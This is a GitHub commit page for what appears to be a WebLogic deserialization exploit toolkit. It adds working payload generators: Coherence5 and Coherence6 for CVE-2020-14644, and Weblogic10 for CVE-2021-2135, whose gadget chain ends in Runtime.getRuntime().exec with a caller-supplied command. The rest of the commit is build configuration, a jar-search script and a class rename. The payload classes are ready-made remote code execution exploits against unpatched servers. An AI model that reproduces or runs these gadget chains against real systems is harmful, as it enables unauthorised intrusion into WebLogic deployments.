Skip to content

Commit 81495b0

Browse files
cckuailongcckuailong
committed
add some gadgets
1 parent f07af2a commit 81495b0

23 files changed

+458
-15
lines changed

‎libs/eclipselink.jar‎

8.84 MB
Binary file not shown.

‎libs/toplink-grid.jar‎

188 KB
Binary file not shown.

‎pom.xml‎

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -282,6 +282,16 @@
282282
<artifactId>coherence-web</artifactId>
283283
<version>12.2.1</version>
284284
</dependency>
285+
<dependency>
286+
<groupId>weblogic</groupId>
287+
<artifactId>eclipselink</artifactId>
288+
<version>12.2.1</version>
289+
</dependency>
290+
<dependency>
291+
<groupId>weblogic</groupId>
292+
<artifactId>toplink-grid</artifactId>
293+
<version>12.2.1</version>
294+
</dependency>
285295

286296
<!-- test -->
287297
<dependency>
@@ -436,6 +446,38 @@
436446
<goal>install-file</goal>
437447
</goals>
438448
</execution>
449+
<execution>
450+
<id>install-eclipselink</id>
451+
<phase>clean</phase>
452+
<configuration>
453+
<file>${basedir}/libs/eclipselink.jar</file>
454+
<repositoryLayout>default</repositoryLayout>
455+
<groupId>weblogic</groupId>
456+
<artifactId>eclipselink</artifactId>
457+
<version>12.2.1</version>
458+
<packaging>jar</packaging>
459+
<generatePom>true</generatePom>
460+
</configuration>
461+
<goals>
462+
<goal>install-file</goal>
463+
</goals>
464+
</execution>
465+
<execution>
466+
<id>install-toplink-grid</id>
467+
<phase>clean</phase>
468+
<configuration>
469+
<file>${basedir}/libs/toplink-grid.jar</file>
470+
<repositoryLayout>default</repositoryLayout>
471+
<groupId>weblogic</groupId>
472+
<artifactId>toplink-grid</artifactId>
473+
<version>12.2.1</version>
474+
<packaging>jar</packaging>
475+
<generatePom>true</generatePom>
476+
</configuration>
477+
<goals>
478+
<goal>install-file</goal>
479+
</goals>
480+
</execution>
439481
</executions>
440482
</plugin>
441483
</plugins>

‎script/find-jar.sh‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
#!/bin/bash
2+
3+
if [ $# -lt 1 ]; then
4+
echo "Usage: $0 name [path ...]";
5+
exit 2;
6+
fi
7+
8+
name=${1//./\/};
9+
shift;
10+
path=${@:-.};
11+
12+
function check-jar() {
13+
jar -tf "$1" | grep -iH --label "$1" "$name";
14+
}
15+
16+
status=1;
17+
18+
while read -r -d '' jarfile; do
19+
check-jar "$jarfile" && status=0;
20+
done < <(find $path -type f -name '*.jar' -size +22c -print0)
21+
22+
exit $status;
23+
24+
# Usage: /bin/bash find-jar.sh "oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor"

src/main/java/common/Serializer.java renamed to src/main/java/common/Serializerable.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,9 @@
66
import java.io.OutputStream;
77
import java.util.concurrent.Callable;
88

9-
public class Serializer implements Callable<byte[]> {
9+
public class Serializerable implements Callable<byte[]> {
1010
private final Object object;
11-
public Serializer(Object object) {
11+
public Serializerable(Object object) {
1212
this.object = object;
1313
}
1414

‎src/main/java/payloads/Coherence5.java‎

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
package payloads;
2+
3+
import clojure.lang.Obj;
4+
import com.tangosol.internal.util.invoke.ClassDefinition;
5+
import com.tangosol.internal.util.invoke.ClassIdentity;
6+
import com.tangosol.internal.util.invoke.RemoteConstructor;
7+
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
8+
import common.Serializerable;
9+
import payloads.annotation.Authors;
10+
import payloads.annotation.Dependencies;
11+
import util.PayloadRunner;
12+
13+
import java.io.InputStream;
14+
15+
import static util.Transformers.insertCommand;
16+
17+
18+
// CVE-2020-14644 weblogic 12.2.1.3
19+
20+
@Dependencies({"weblogic:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0"})
21+
@Authors({ Authors.CCKUAILONG })
22+
public class Coherence5 extends PayloadRunner implements ObjectPayload<Object> {
23+
24+
public Object getObject(final String command) throws Exception {
25+
InputStream in = Thread.currentThread().getContextClassLoader().getResourceAsStream("template/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class");
26+
byte[] bytes = insertCommand(in, command);
27+
RemoteConstructor constructor = new RemoteConstructor(
28+
new ClassDefinition(new ClassIdentity(LambdaIdentity.class), bytes), new Object[]{}
29+
);
30+
31+
return Serializerable.serialize(constructor);
32+
}
33+
34+
public static byte[] getBytes(final String command) throws Exception {
35+
return PayloadRunner.run(Coherence5.class, command);
36+
}
37+
38+
public static void main(final String command) throws Exception {
39+
PayloadRunner.run(Coherence5.class, command);
40+
}
41+
42+
}

‎src/main/java/payloads/Coherence6.java‎

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
package payloads;
2+
3+
import com.tangosol.internal.util.invoke.ClassDefinition;
4+
import com.tangosol.internal.util.invoke.ClassIdentity;
5+
import com.tangosol.internal.util.invoke.RemoteConstructor;
6+
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
7+
import common.Serializerable;
8+
import payloads.annotation.Authors;
9+
import payloads.annotation.Dependencies;
10+
import util.PayloadRunner;
11+
12+
import java.io.InputStream;
13+
14+
import static util.Transformers.insertCommand;
15+
16+
17+
// CVE-2020-14644 weblogic 12.2.1.4
18+
19+
@Dependencies({"weblogic:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0"})
20+
@Authors({ Authors.CCKUAILONG })
21+
public class Coherence6 extends PayloadRunner implements ObjectPayload<Object> {
22+
23+
public Object getObject(final String command) throws Exception {
24+
InputStream in = Thread.currentThread().getContextClassLoader().getResourceAsStream("template/LambdaIdentity$423B02C050017B24DB10DFF759AA56BF.class");
25+
byte[] bytes = insertCommand(in, command);
26+
RemoteConstructor constructor = new RemoteConstructor(
27+
new ClassDefinition(new ClassIdentity(LambdaIdentity.class), bytes), new Object[]{}
28+
);
29+
30+
return Serializerable.serialize(constructor);
31+
}
32+
33+
public static byte[] getBytes(final String command) throws Exception {
34+
return PayloadRunner.run(Coherence6.class, command);
35+
}
36+
37+
public static void main(final String command) throws Exception {
38+
PayloadRunner.run(Coherence6.class, command);
39+
}
40+
41+
}

‎src/main/java/payloads/JRMPClient4.java‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
import sun.rmi.transport.LiveRef;
66
import sun.rmi.transport.tcp.TCPEndpoint;
77
import weblogic.jms.common.StreamMessageImpl;
8-
import common.Serializer;
8+
import common.Serializerable;
99
import payloads.annotation.Authors;
1010
import util.PayloadRunner;
1111

@@ -45,7 +45,7 @@ public Object getObject (final String command ) throws Exception {
4545
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
4646
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
4747
Object object = Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
48-
return streamMessageImpl(Serializer.serialize(object));
48+
return streamMessageImpl(Serializerable.serialize(object));
4949
}
5050

5151

‎src/main/java/payloads/Weblogic1.java‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
package payloads;
22

3-
import common.Serializer;
3+
import common.Serializerable;
44
import org.apache.commons.collections.Transformer;
55
import org.apache.commons.collections.functors.ChainedTransformer;
66
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -60,7 +60,7 @@ public Object getObject(final String command) throws Exception {
6060

6161
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
6262

63-
return streamMessageImpl(Serializer.serialize(handler));
63+
return streamMessageImpl(Serializerable.serialize(handler));
6464
}
6565

6666
public static byte[] getBytes(final String command) throws Exception {

‎src/main/java/payloads/Weblogic10.java‎

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
package payloads;
2+
3+
import com.sun.org.apache.xpath.internal.objects.XString;
4+
import com.tangosol.coherence.rest.util.extractor.MvelExtractor;
5+
import com.tangosol.coherence.servlet.AttributeHolder;
6+
import com.tangosol.internal.util.SimpleBinaryEntry;
7+
import com.tangosol.io.DefaultSerializer;
8+
import com.tangosol.io.Serializer;
9+
import com.tangosol.util.*;
10+
import com.tangosol.util.aggregator.TopNAggregator;
11+
import com.tangosol.util.filter.MapEventFilter;
12+
import com.tangosol.util.processor.ConditionalPutAll;
13+
14+
import java.io.ByteArrayOutputStream;
15+
import java.io.DataOutputStream;
16+
import java.lang.reflect.Field;
17+
import java.lang.reflect.Method;
18+
19+
import common.Serializerable;
20+
import payloads.annotation.Authors;
21+
import payloads.annotation.Dependencies;
22+
import util.PayloadRunner;
23+
24+
25+
// CVE-2021-2135
26+
27+
@SuppressWarnings({ "rawtypes", "unchecked" })
28+
@Dependencies({"weblogic:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0"})
29+
@Authors({ Authors.CCKUAILONG })
30+
public class Weblogic10 implements ObjectPayload<Object> {
31+
32+
public byte[] getObject(final String command) throws Exception {
33+
// 生成一个Name对象
34+
MvelExtractor extractor1 = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\""+ command +"\");return new Integer(1);");
35+
MvelExtractor extractor2 = new MvelExtractor("");
36+
37+
// 序列化入口
38+
AttributeHolder attributeHolder = new AttributeHolder();
39+
40+
SortedBag partialResult = new TopNAggregator.PartialResult(extractor2, 2);
41+
partialResult.add(1);
42+
filedSet("m_comparator",partialResult, extractor1);
43+
44+
// 这里bin_Key必须用ExternalizableHelper.writeObject赋值，不能用partialResult.writeExternal(dataOutputStream1);
45+
// 因为使用partialResult.writeExternal最终不会调用partialResult.readExternal，只会写m_comparator，不写partialResult自身
46+
ByteArrayOutputStream baos1 = new ByteArrayOutputStream();
47+
DataOutputStream dataOutputStream1 = new DataOutputStream(baos1);
48+
ExternalizableHelper.writeObject(dataOutputStream1, partialResult);
49+
50+
ByteArrayOutputStream baos2 = new ByteArrayOutputStream();
51+
DataOutputStream dataOutputStream2 = new DataOutputStream(baos2);
52+
ExternalizableHelper.writeObject(dataOutputStream2, new Integer(0));
53+
54+
Binary key = new Binary(baos1);
55+
Binary value = new Binary(baos2);
56+
SimpleBinaryEntry simpleBinaryEntry = new SimpleBinaryEntry(key,value);
57+
Serializer m_serializer= new DefaultSerializer(SimpleBinaryEntry.class.getClassLoader());
58+
simpleBinaryEntry.setContextSerializer(m_serializer);
59+
60+
// 调用xString.equals(simpleBinaryEntry)可触发SimpleBinaryEntry#toString，所以map按顺序先加入simpleBinaryEntry，再加入xString
61+
62+
LiteMap liteMap = new LiteMap();
63+
liteMap.put(simpleBinaryEntry,1);
64+
liteMap.put(new XString(null),2);
65+
ConditionalPutAll conditionalPutAll = new ConditionalPutAll(new MapEventFilter(), liteMap);
66+
67+
// 序列化入口
68+
// AttributeHolder attributeHolder = new AttributeHolder();
69+
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
70+
setInternalValue.setAccessible(true);
71+
setInternalValue.invoke(attributeHolder, conditionalPutAll); //调用setInternalValue方法设置m_oValue属性为conditionalPutAll
72+
73+
return Serializerable.serialize(attributeHolder);
74+
}
75+
76+
private static void filedSet(String fieldName, Object target, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
77+
Field field = target.getClass().getSuperclass().getDeclaredField(fieldName);
78+
field.setAccessible(true);
79+
field.set(target, fieldValue);
80+
}
81+
82+
public static byte[] getBytes(final String command) throws Exception {
83+
return Weblogic10.class.newInstance().getObject(command);
84+
}
85+
86+
public static void main(final String command) throws Exception {
87+
PayloadRunner.run(Weblogic10.class, command);
88+
}
89+
90+
}

0 commit comments

Comments
 (0)